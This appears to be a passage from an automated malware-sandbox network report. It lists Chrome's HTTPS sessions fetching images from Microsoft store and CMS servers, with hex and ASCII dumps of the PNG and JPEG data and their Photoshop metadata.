Data Ascii: [=/LK3cu!q}O?MIx2ww1[Y5cn#3($6pwmvQ_W=xr[x{n_w-!C)6_x-DLohax&vJYv7 E%F$< >JGw/uU

2022-05-26 11:46:49 UTC 8542 IN Data Raw: c7 07 e2 91 41 5f 51 c2 76 9f cb 12 98 dd 06 d7 0a 45 9f e1 df bb bf b7 bb cb 5c b4 c9 0b 86 ef 70 93 ec 2c c0 
cb c9 c1 2d 83 8c 56 4c ee 5b 28 b1 65 b9 1f c3 51 c7 93 fc d5 a5 53 dd b9 27 5e e9 aa 5d 86 44 de ae cd f4 df 58 85 0b 
ee 33 bd a5 8c af 25 ef 68 f7 3e 8d 27 7b f3 36 d7 7f a7 c6 9a 77 5d 58 fd af ca 0d c1 d0 b7 5c ea 00 94 2c c0 a4 a4 b5 d8 
ca 1a e0 b7 99 0c 7c e1 39 77 2a 57 03 ca ef c5 bb 56 dc db 7a 36 fc e4 4c 99 bd 53 d6 f1 cc 1f a5 f4 ec 70 13 20 b3 36 
c9 09 3f 37 98 e3 dc bc fb 79 6b 4a e0 7d 6d ec 8f b3 a8 b7 6e c4 43 1f 27 2f a2 63 2f 52 06 db 84 7b 63 0c 40 54 ec d8 
a7 e3 be e7 f8 eb 0b 56 b9 ed b3 e6 e6 f8 89 98 37 21 ea 3f 5c 85 67 be 33 30 52 02 d8 b1 3f 7c 72 aa fc bf b5 5c 77 c6 
a8 f9 79 fe 6f da 56 80 65 72 f6 c8 f2 3a b4 6c 42 
Data Ascii: A_QvE\p,-VL[(eQS'^]DX3%h>'{6w]X\,|9w*WVz6LSp 6?7ykJ}mnC'/c/R{c@TV7!?\g30R?|r\wyoVer:lB

2022-05-26 11:46:49 UTC 8550 IN Data Raw: 93 e5 5f 0d 79 b6 f4 37 dd c7 95 fb 6d 1d 53 7a f1 08 f5 66 4e 0e 29 18 f8 78 ed 24 b6 24 be de 55 b3 2f 34 41 
7b 9b 3e 6a c7 66 db 3e ef 74 d2 ea 0e 53 d5 59 69 9f 8a 72 c2 33 cc 08 11 32 91 a1 26 c4 ec 1c c3 ef 7c 55 a7 a6 4e b6 
da de 9d e9 fd c5 33 99 e8 ab d4 3a 9c e9 82 5d fc 95 76 66 4d 4d ee 39 8f 31 e3 5e 96 7b 53 1d 77 76 f7 4a bf 03 ba c1 
91 22 c5 5c 49 d5 d2 58 9d 8c 65 ef aa db b3 c1 a7 36 da f0 ee 9b b6 e5 d3 65 cd b7 c4 62 9f 61 99 1e 76 5f 4d 64 90 13 
14 92 4a ae c9 aa 80 9c 79 98 f2 9d b5 d4 aa af 29 6b 15 ea f8 c4 9e a7 55 37 56 56 4d 57 cb 32 28 f2 c0 20 b3 eb 63 bd 
94 6e e1 cc bf 15 70 63 a2 ab 6f 5b 7e 5a 9a 99 39 11 f4 b0 02 44 eb 31 54 63 20 df 67 1b 8f 8b db b7 c5 cd 5d 2e b7 4a 
40 c8 c5 c5 f3 4c 9f 47 22 86 80 a0 54 3c 13 b7 46 6f 
Data Ascii: _y7mSzfN)x$$U/4A{>jf>tSYir32&|UN3:]vfMM91^{SwvJ"\IXe6ebav_MdJy)kU7VVMW2( cnpco[~Z9D1Tc g
].J@LG"T<Fo

2022-05-26 11:46:49 UTC 8566 IN Data Raw: e1 1b 90 7e 9d 16 43 6f 8b 26 65 3a 92 82 40 77 39 51 e1 ec 8d 7e f5 5d f6 ae 0b 6f f0 05 a0 4c 9d 37 1d 59 
64 ca bc 8e a0 9d a0 1b 10 35 11 b9 26 fb a5 ee f2 54 d3 22 8d 34 1c 85 60 e0 c7 34 21 d1 44 06 68 ec f1 be a0 ee 04 05 
67 ef 72 37 36 cf 86 b9 af 91 d5 f8 b5 ea af b7 78 73 08 a3 eb 61 c7 48 94 43 1b c2 ec 55 de 21 76 54 ee ad 9b b3 77 77 
98 f8 aa b6 3b 37 ad b7 2e 9d fd 36 b8 27 ef 0a 22 58 f2 20 41 18 c7 8f 16 30 61 dd ac c6 3d 6e b6 b7 ef af de ad f2 59 5a 
a9 39 b6 ee bf 07 cc 74 24 82 7a 14 85 5c cf 20 32 02 db c6 d1 7b 58 1d 37 77 ca 6e 6e f7 fa ad 58 e5 bc ad bd de f0 37 
24 63 7c ae a3 3a 66 bb 2e 3c 16 71 74 17 dc 14 f3 73 37 6e e3 42 a5 63 6f b8 c6 60 a2 76 c5 18 af 13 f9 b1 e3 b3 6e 6d 
a3 62 13 7b 0d ef de 6a aa 64 b2 d1 46 ef bd 6f ba 4f 
Data Ascii: ~Co&e:@w9Q~]oL7Yd5&T"4`4!Dhgr76xsaHCU!vTww;7.6'"X A0a=nYZ9t$z\ 2{X7wnnX7$c|:f.<qts7nBco`
vnmb{jdFoO

2022-05-26 11:46:49 UTC 8582 IN Data Raw: 91 4d 95 b7 0b be bb ad bb 98 24 7f 2a 73 56 8d d5 39 ba 9f e5 d3 fd 43 56 00 ea 9d 33 ab cf 30 29 e5 19 5d 
d8 3a c6 a1 4e cb 71 92 4e ef 2a f7 77 56 f8 b2 62 aa d7 74 46 9b bc 5f 0d 45 68 7c 43 a2 e8 f8 50 89 67 c9 54 c6 91 0b 
6d 21 da 43 dd ed 67 f1 7d da 8b e7 b5 e1 55 5a d5 7f 41 a3 d5 1c 9e 07 5c c4 99 8c 2d 75 c8 91 dd de 4d 4e 96 e5 46 
5e 1f 32 d7 a1 93 05 96 bd ca a5 5a d4 5b 4e f7 33 27 19 31 21 97 a8 18 e2 d4 93 1c 7d d2 c0 7f 15 e4 ef ee 6f 15 70 57 
5d 14 d8 9b 24 67 62 74 a4 69 1a 66 82 28 c0 37 51 cc e1 89 17 dd 7b ef fb a9 bb 97 bd 4b 2e 75 a4 49 29 49 ca 4f d0 17 
12 75 19 88 26 5b b3 ed 40 d7 43 d8 65 6f 84 f8 57 c3 5e 8a f5 1b d7 2b d9 dd e6 db cd f2 05 8d 53 93 81 d4 8a 74 f8 c8 
49 a2 4b a8 0c 11 4b 11 e2 df df ac 6c ef 45 ba 39 7b dd fb 
Data Ascii: M$*sV9CV30)]:NqN*wVbtF_Eh|CPgTm!Cg}UZA\-uMNF^2Z[N3'1!}opW]$gbtif(7Q{K.uI)IOu&[@CeoW^+StI
KKlE9{

2022-05-26 11:46:49 UTC 8586 IN Data Raw: b3 a9 cc 7a 87 a6 42 d9 38 ff 00 56 5c b6 48 0f 32 f3 16 00 1e 1f 2f 99 fb b5 ea 51 da b5 6f 4e 5e 9e 1f 88 d2 
da 06 e1 e3 ab 65 7d 34 d1 ec c0 48 c9 b7 66 d3 7e fc 9f 2a 2f 25 70 de dc bb 93 ff 00 75 db f1 7c a4 56 38 8b a9 e3 40 
ae 91 74 c9 55 70 9c 6f 32 79 84 82 07 75 4b 71 b2 fc b4 f0 b7 6e b5 fe e7 4f 4e d0 86 d8 b1 7a 84 b1 82 44 b1 c8 c8 36 
b4 91 1d 39 b5 27 5d b7 6f 87 75 6e e9 e5 bd 0d f7 34 8d 6e 95 d4 63 4c 75 c2 d8 27 0b 72 92 85 da 45 d8 b2 28 f8 f6 37 
c3 5c 39 55 9d b7 27 b3 e0 27 79 93 d5 31 33 22 78 d6 42 04 50 21 32 9b f0 43 aa ee 55 ff 00 56 ba 6b 0a 7c 57 e9 f9 ff 
00 69 2b 40 b3 d7 02 e3 c9 62 be 53 b3 34 92 a0 d4 0b 1d ab 3b f8 7c b5 da 9c ab fb 55 8f f8 f3 65 f8 69 fb 2a 68 9f bc c6 
e9 a2 7e ad 8e d8 8d 23 58 ee db 23 ad d4 80 3f 2c 
Data Ascii: zB8V\H2/QoN^e}4Hf~*/%pu|V8@tUpo2yuKqnONzD69']oun4ncLu'rE(7\9U''y13"xBP!2CUVk|Wi+@bS4;|Ue
i*h~#X#?,

2022-05-26 11:46:49 UTC 8602 IN Data Raw: fd b2 c3 b2 a0 79 e0 1e 66 32 be 3d 83 14 2b b0 01 f1 88 d8 68 c7 75 72 d1 c3 d2 dc de 2e af c6 64 d3 33 b0 
3a a0 80 7d 1a 62 ce f8 0c 3c c5 bd 9b 68 5e 57 96 3d c7 95 5d b9 79 ab aa f4 76 53 ba 9e 67 0f aa de 21 c4 f1 0f 7c 0c 
4e aa 91 3e 62 ee 29 76 64 4e 43 18 66 fc b5 27 e2 db cd f2 d6 2b 25 b1 3d 3b 7e ad fe 20 02 ea 18 72 62 64 7d 5c 24 c9 
8a 08 54 c5 46 65 7d ac 42 23 4f 37 87 77 11 6e 66 fb b5 b5 6c ad 58 e9 b3 9f f7 2d cd d3 cd cb 42 55 14 8d d7 7a 4f 4d 
90 1d 91 3a ac 76 91 9f 71 f3 15 41 fe 2f 36 ff 00 c9 4f db 6f 82 a7 06 5c 95 e2 fa b9 76 ff 00 ed db e1 ee f3 9a 19 7d 63 
a6 c7 89 3e 39 ca cd 6c 94 c9 be c7 89 ad b5 09 fc c7 1b 7c 73 5f 99 ab af 0e 67 74 e2 bb 3c be aa df c7 fd 24 37 ac 16 f5 
2f 23 d2 58 28 98 06 39 73 77 93 64 05 bc b5 5b b3 
Data Ascii: yf2=+hur.d3:}b<h^W=]yvSg!|N>b)vdNCf'+%=;~ rbd}\$TFe}B#O7wnflX-BUzOM:vqA/6Oo\v}c>9l|s_gt<
$7/#X(9swd[

2022-05-26 11:46:49 UTC 8618 IN Data Raw: a7 9a 7a cb c9 6d bc 0a 70 ba 84 3d 41 86 47 57 56 88 6f f3 19 91 8f e6 37 c4 50 5f 68 ae 7c 98 de 3d 31 f3 69 
b7 9b b8 5f 99 3c 0e 96 5f 52 41 d2 33 7c ae 8f 1c 69 0f 97 e7 4d 93 60 cf 6e 1b 53 77 f0 82 fc 9c ec dd e6 ac 30 bb f9 7c 
df f9 37 6c a9 76 c9 a6 86 16 4f ae 7a 47 57 2d e7 46 f2 4b e6 ee 33 33 6d 91 94 9e c2 3e 11 e1 6a d3 fc 3c d4 73 3d de 
9e ba ee 13 6e 64 1b d4 1f d4 08 e5 b6 c1 ac 43 74 6a d6 21 9f ba be 67 cb 0a 73 28 f8 ea fd 3f fc 7b 5c 7b dd 5f 2f c3 f3 
fe 50 6e 47 f4 7e 67 d4 42 d3 cd 3b 2c 92 81 1b 88 ec 5c a9 70 cf bb 73 7f 0f 6a fe d5 5f a8 aa a5 a2 39 7a be 1e 1f 98 54 
70 cf 55 ea 9d 5a 18 98 c0 9e 56 3f d3 a2 c5 1a 89 03 b6 c2 3c cd cb 1a d9 bf 17 37 e6 57 07 ad c0 ad 0d 70 f0 9d 0d 1c 
5f 4a ea 99 78 c9 36 7c 18 c6 49 73 67 66 3b 
Data Ascii: zmp=AGWVo7P_h|=1i_<_RA3|iM`nSw0|7lvOzGW-FK33m>j<s=ndCtj!gs(?{\{_/PnG~gB;,\psj_9zTpUZV?<7
Wp_Jx6|Isgf;

2022-05-26 11:46:49 UTC 8626 IN Data Raw: 74 ee 9b ea 1c 16 61 08 5c 4c 78 ac 9a 8d cb 26 9c 11 dc 37 de ad ac aa d4 b9 b3 fb 9b 4b 91 fa 8c 31 c6 87 
33 3d 03 66 06 55 05 34 dc cd dc 40 6f c7 e3 ae 4a 59 d9 ed ab e4 f8 bf 15 88 7a 94 60 4e eb 99 26 00 93 cf c5 92 e1 a3 
04 81 1b a0 bb 58 f6 a2 b7 8b c5 55 7c 7b aa ac 96 dc 9e 2f 1d 6c 4a e2 2e a7 d1 8e 44 53 e4 63 87 9f 2e 5d 9f 4a 43 05 
29 b7 bf bb ba 8a a2 a7 1e 6d ad 27 cb 8e b3 e6 e9 d7 b8 d1 28 09 c0 ce cc ea 58 c3 2f 3a 07 4f 20 f9 61 f8 00 47 f1 09 fb 
4f 8b bb 59 64 c7 5c 76 db 46 b9 f9 b6 fe 50 6f b0 bf 26 38 91 c7 90 ec c9 3a d8 c0 da 07 bf 15 dd c7 9e 9d 1c 2d 7b bd 
ef 09 6e 3b 00 25 fe 9e e3 63 e5 62 44 e0 e3 ee 4d b2 b2 1b 02 d7 2f e5 c7 f1 32 8e 4e 6f 0d 75 57 d6 5e c9 b7 e2 e4 dd 
f9 82 b4 d4 d5 ca f4 ca cf 87 26 52 c8 1d b2 89 8d 36 
Data Ascii: ta\Lx&7K13=fU4@oJYz`N&XU|{/lJ.DSc.]JC)m'(X/:O aGOYd\vFPo&8:-{n;%cbDM/2NouW^&R6

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 8642 IN Data Raw: ce 23 98 33 ba 6f a8 4e 27 51 84 e2 99 27 c7 0c 9b 59 bc 47 b8 34 ee ee ad 6b 89 27 bb bd 57 fd 42 ad b9 8f 
56 f5 4a 0c 77 6c 8f 2d df 22 4d 89 1c 7c 14 12 6e cf 7e eb 37 85 2b b3 d6 d9 5a ae ae 77 5f 95 1a 5b 8c 9c 67 5b eb 4f 
8b 2c 30 e5 24 e6 69 24 3f 94 2e 04 60 9d a9 e6 9d 37 7d df f0 d7 90 bd 16 d4 ba 2b e2 dd d4 52 66 a6 4e de 99 8f 0b e7 
6d 98 c8 db 09 5e 3b 1c ed 08 5f b2 df 2d 73 e2 c8 fc c7 47 d1 54 63 67 1c 4e 77 d4 2b 10 8d e4 e8 d1 34 41 14 a2 86 27 
99 6f ba 4f c1 7f da ae aa 5d 56 d1 3c 7b c6 76 b4 28 47 2f ea ae 97 d5 4f 49 8b 17 cc f2 61 c8 76 68 23 50 09 62 07 3f 
3a 73 6d dd ca 17 ba 8d 5e bf a5 ca aa a5 f4 9b 55 4d 4e 43 fa 75 d3 fa ae 17 56 44 82 00 c1 d9 44 bb ac 6c 8a c1 a4 6f 
75 bc 75 db eb 2f 8f 25 35 63 a5 4f 46 f5 08 3d 52 79 d3 
Data Ascii: #3oN'Q'YG4k'WBVJwl-"M|n~7+Zw_[g[O,0$i$?.`7}+RfNm^;_-sGTcgNw+4A'oO]V<{v(G/OIavh#Pb?:sm^UM
NCuVDDlouu/%5cOF=Ry

2022-05-26 11:46:49 UTC 8658 IN Data Raw: fe cd 1f e3 53 1d 15 97 e1 7b 4c f1 b8 67 73 03 62 62 43 8f 92 22 48 b2 36 59 d4 8d 40 b7 36 cd dc 37 fe 1a f2 
1e e6 da 97 6a ee f6 dc 74 95 f5 fe 9f 91 1e 20 9d 63 30 0d ab 24 a5 f5 dc 18 ed 55 8d 79 92 ba a9 56 b4 b2 f9 7f 70 e4 
d4 c8 86 3c 3e 8f 8f 84 10 aa ca 9b d9 19 ae 78 5e cc da 7c 75 e4 d6 ce f9 5d a7 a5 ed dc 67 67 a8 1f 43 fa 1c 6c 77 c8 
8a 32 44 63 46 65 b9 63 dd ef 78 7f cb 5b e6 57 bb 86 fe 92 a3 b4 bf 34 61 6e 4c 98 89 92 66 28 81 14 dc ae e1 c7 4f f7 f8 
6b 3c 7b a1 d5 f2 ad 5e ef 16 d2 14 02 75 5c 88 23 95 70 b5 79 5b 73 2a da ca 34 dc cc 58 6e de cb f1 7e cd 6f 8a 8d ad 
df 78 1a 93 2f a0 6f 46 66 58 bc 99 59 1e 47 63 a0 b2 8b df 73 da c8 ab e1 5e fb b5 75 e4 c7 e6 68 9e e4 24 a0 e5 0f ad 
32 e2 9d 92 13 be 19 99 58 06 3a 03 7e 35 e9 af 49 
Data Ascii: S{LgsbbC"H6Y@67jt c0$UyVp<>x^|u]ggClw2DcFecx[W4anLf(Ok<{^u\#py[s*4Xn~ox/oFfXYGcs^uh$2X:~5I

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

11 192.168.2.4 49728 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:29 UTC 106 OUT GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-
0dc5bed1273c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:29 UTC 107 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 37622
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyOUU1MTM1NDQ"
MS-CV: YXEQRcwIqUCuqc/O.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:29 UTC 107 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 92 
bd 49 44 41 54 78 01 ec 9a 81 6e db 38 10 44 09 20 52 72 69 3e e3 92 d8 76 74 77 ff ff 75 e7 68 db 07 25 43 10 cb 2e 49 
cb 85 81 01 31 5a 53 6e 52 e8 65 96 a4 d2 c3 f4 77 56 93 68 36 a9 e6 d7 ad 5f f5 f6 45 8f 5b 6f a2 6e 66 80 0e ab de 37 
3a 4c 4f ef ab 0e 95 3a ae c2 33 22 8a 36 d6 eb 2e fd af de 88 a2 53 f3 45 8f 87 e9 d1 cc fb 74 d1 cf e2 db 30 f1 c0 63 50 
da 50 87 31 e4 1c f8 a1 f9 6d 45 51 f0 13 35 41 ce 28 92 ca 6a 80 aa bb 8e 5b df 4e a7 e9 af 5c 05 23 e3 c6 9c 4c e8 52 
b7 2f b1 4f b3 d3 0a 77 71 2f f5 ef 5f a5 33 a9 c4 a5 b0 f5 95 20 ba 3e 54 d3 65 7c 6a 0f a4 c9 7c 02 3f c0 9b 31 25 59 e8 
99 ca bc 61 02 7a 7a fb 8c 2c 23 cd 08 24 c4 6c c4 
Data Ascii: PNGIHDR,,"IDATxn8D Rri>vtwuh%C.I1ZSnRewVh6_E[onf7:LO:3"6.SEt0cPP1mEQ5A(j[N\#LR/Owq/_3 >Te|j|?
1%Yazz,#$l

2022-05-26 11:45:29 UTC 129 IN Data Raw: 9f 09 6e 39 ec 8d 6c 41 04 8c 2d f5 1d b9 88 b9 d6 9f 16 88 54 87 ed 3b 62 fb 0e 8e cc 43 c9 e0 f6 4e 55 91 0f 
4c a7 48 31 8c 02 45 d8 ae a2 a8 ca 09 20 81 a5 90 0e 42 d9 4e 42 e9 8a 44 b3 b7 3a 7c f2 4a ab b1 56 d3 75 92 3c a2 
e3 ed 32 48 2e 01 a1 08 bd f8 30 f6 2c 10 c8 ea 59 09 36 17 a8 d3 ae fd d8 ed 2e 75 04 be 99 ad 61 83 26 fd 92 96 6e a7 
c8 41 f2 7f cd 83 d2 0f c4 89 6f d9 38 95 3d 15 42 f2 8e b2 94 6c a6 2d 8b a1 fb fc e6 2c df 52 b5 6f 64 87 c5 80 2b 37 ee 
7b 77 0b 43 bb f4 9f 8d 91 af fc d8 75 e0 2c 83 27 5b 99 38 4a 90 f4 19 b1 90 fe 84 2b eb df db d1 2f ef df 8d 1d 64 e4 94 
55 ec 20 69 b3 06 e2 5a c7 57 7e 2c 5c b5 07 07 84 a5 a5 23 93 49 17 03 28 5b f0 96 6f 90 c1 73 2e d7 a0 6b 81 6a 6d 
25 3f 16 e2 71 60 6d f4 55 35 8c 24 7a 21 bb aa 7b ee 
Data Ascii: n9lA-T;bCNULH1E BNBD:|JVu<2H.0,Y6.ua&nAo8=Bl-,Rod+7{wCu,'[8J+/dU iZW~,\#I([os.kjm%?q`mU5$z!{

2022-05-26 11:45:29 UTC 138 IN Data Raw: d9 34 35 ea 0e 87 2a 84 d9 dd e9 a7 04 66 d1 e4 c4 ef 3c 7b 29 7e be 40 37 81 53 39 67 f2 6a 9b a4 c9 9e f7 
3a ee 01 78 f8 14 43 02 3b f1 cb 0a 9b d5 16 3d 6d 1c ab 11 91 37 0f 89 dd b3 1d 30 13 fe 6c ac ed 08 e0 58 0f 7b f2 9b 
da c7 f6 fc ed 1f 48 83 e5 6f 37 d2 53 17 6b b9 4f f2 d3 c4 87 8b 19 44 e4 90 04 52 ef e4 da f1 4d ad 6d c9 bd 73 e9 3f ea 
11 9f 11 3c 6a 28 32 f8 05 0d d6 74 bf 70 b1 41 16 d9 a3 3a e7 74 23 0b 62 d3 38 26 f5 95 9d 25 ab c0 c0 0c 41 51 ea 2b 
9c ac 0f 9e 5a dc a6 71 b3 d4 2f 02 c6 71 7b ae 34 8e 21 a2 59 37 b7 a3 43 dc c4 b8 aa 2e 73 a3 07 36 8f 4e ff f8 e7 bf a7 
e6 59 54 4f 08 e2 26 29 18 44 53 4c e6 22 65 32 a2 b1 c4 fa b9 c7 1d 82 d2 79 3f 4a 56 3b 82 9b b0 c8 61 8c 62 bd a3 a0 
b5 c4 19 7d 0f 32 eb 7e de f7 ee 8e 39 a5 e4 9f 66 
Data Ascii: 45*f<{)~@7S9gj:xC;=m70lX{Ho7SkODRMms?<j(2tpA:t#b8&%AQ+Zq/q{4!Y7C.s6NYTO&)DSL"e2y?JV;ab}2
~9f

Session ID Source IP Source Port Destination IP
Destination
Port

Process

110 192.168.2.4 49877 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:00 UTC 8665 OUT GET /cms/api/am/imageFileData/RWR64s?ver=0ee3 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-26 11:47:00 UTC 8666 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWR64s?ver=0ee3
Last-Modified: Wed, 25 May 2022 22:11:32 GMT
X-Source-Length: 1719592
X-Datacenter: northeu
X-ActivityId: 6679e546-c2b2-4e9f-860a-ca17378632f3
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1719592
Cache-Control: public, max-age=383014
Expires: Mon, 30 May 2022 22:10:34 GMT
Date: Thu, 26 May 2022 11:47:00 GMT
Connection: close

2022-05-26 11:47:00 UTC 8666 IN Data Raw: ff d8 ff e1 0d 65 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 30 36 3a 32 34 20 30 39 3a 32 35 3a 32 37 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: eExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:06:24 09:25:278"

2022-05-26 11:47:00 UTC 8682 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
                                                                                       

2022-05-26 11:47:00 UTC 8698 IN Data Raw: 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 31 30 2d 55 70 67 72 61 64 65 5c 42 72 61 6e 
64 41 70 70 72 6f 76 65 64 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 
34 31 30 32 37 32 35 37 2d 47 72 61 64 69 65 6e 74 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 34 31 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 31 30 2d 55 70 67 7
2 61 64 65 5c 42 72 61 6e 64 41 70 70 72 6f 76 65 64 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 7
9 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 39 32 30 
Data Ascii: zagh\MS\Windows10\Win10-Upgrade\BrandApproved\Crops\WindowsPro_GettyImages-641027257-Gra
dient_1920x1080.jpg saved&#xA;2016-08-04T17:41:44-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Win10-Upgrade\
BrandApproved\Crops\WindowsPro_GettyImages-641027257_1920

2022-05-26 11:47:00 UTC 8699 IN Data Raw: 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 38 3a 32 34 3a 32 38 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 
63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 38 3a 32 37 3a 32 35 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 5a 69 6f 6e 43 61 6e 79 6f 6e 5c 5a 69 6f 6e 43 61 6e 79 6f 6e 5f 47 65 74 74 79 4
9 6d 61 67 65 73 2d 35 32 38 38 32 37 39 33 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 38 3a 33 34 3a 30 34 2d 30 
Data Ascii: psd saved&#xA;2016-08-04T18:24:28-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd open
ed&#xA;2016-08-04T18:27:25-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing-ZionCanyon\ZionCanyon_
GettyImages-528827939_1920x1080.jpg saved&#xA;2016-08-04T18:34:04-0

2022-05-26 11:47:00 UTC 8715 IN Data Raw: 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 55 52 31 35 5f 50 72 6f 34 5f 54 
61 62 6c 65 74 5f 30 35 5f 47 72 61 64 69 65 6e 74 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 34 3a 33 31 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 
6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 30 39 2d 32 38 54 31 34 3a 33 33 3a 34 37 2d 30 37 3a 30 30 26 23 
Data Ascii: :35-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SUR15_Pro4_Tablet_05_Gradient_1920x
1080.jpg saved&#xA;2016-09-28T14:31:41-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920
x1080_Landscape.psd saved&#xA;2016-09-28T14:33:47-07:00&#

2022-05-26 11:47:00 UTC 8731 IN Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 30 
